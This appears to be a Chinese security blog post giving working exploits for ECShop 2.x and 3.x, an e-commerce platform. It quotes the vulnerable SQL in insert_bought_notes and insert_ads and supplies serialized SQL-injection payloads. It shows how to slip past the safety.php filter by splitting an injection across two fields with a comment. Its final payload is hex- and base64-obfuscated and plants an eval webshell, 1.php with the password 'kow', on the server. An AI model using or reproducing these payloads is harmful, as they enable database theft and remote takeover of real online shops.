首先,感谢ringk3y的分析:http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ 大家跟一遍代码基本上都能弄明白漏洞的原理,整个漏洞的构造还是很有意思的
然后网上公开的基本上都是2.x版本的payload,对于sql injection,除了文中提到的insert_ads,insert_bought_notes函数同样存在漏洞:
$sql = 'SELECT u.user_name, og.goods_number, oi.add_time, IF(oi.order_status IN (2, 3, 4), 0, 1) AS order_status ' .
'FROM ' . $GLOBALS['ecs']->table('order_info') . ' AS oi LEFT JOIN ' . $GLOBALS['ecs']->table('users') . ' AS u ON oi.user_id = u.user_id, ' . $GLOBALS['ecs']->table('order_goods') . ' AS og ' .
'WHERE oi.order_id = og.order_id AND ' . time() . ' - oi.add_time < 2592000 AND og.goods_id = ' . $arr['id'] . ' ORDER BY oi.add_time DESC LIMIT 5';
注入点为id,这样我们构造payload可以为
554fcae493e564ee0dc75bdf2ebf94cabought_notes|a:2:{s:3:"num";i:1;s:2:"id";s:70:"1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";}
对于3.x版本的注入,唯一和2.x的区别在于$_echash的值变成了45ea207d7a2b68c49582d2d22adf953a,我们直接替换原来payload中的值即可:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
或者
bought_notes|a:2:{s:3:"num";i:1;s:2:"id";s:70:"1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";}
对于3.x版本的rce或者是你想要读取数据库里面的信息,我们需要绕过3.x中的过滤(代码在safety.php中), 先看下3.x中的过滤:
'sql'=>"[^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)"
基本上想从数据库中通过select查询获取数据是不可能的(欢迎大家提供绕过的思路) 但是insert_ads的sql语句给我们绕过全局过滤带来了方便:
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
因为可以注入的地方有两处,分别是id和num,这时我们利用inline comment来同时构造payload,id的地方注入’union/*,num的地方注入*/select+…. 关于如何使用comment来帮助我们的注入语句,可以参考:http://www.sqlinjection.net/comments/ 然后拦截的正则规则中并没有单独拦截union,select,这样我们2.x的payload稍微改造下就又能使用了:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:275:"*/select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152626132393358536b2f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:8:"'union/*";}[/code]
执行完之后会在user.php同目录下生成1.php的菜刀马,密码是kow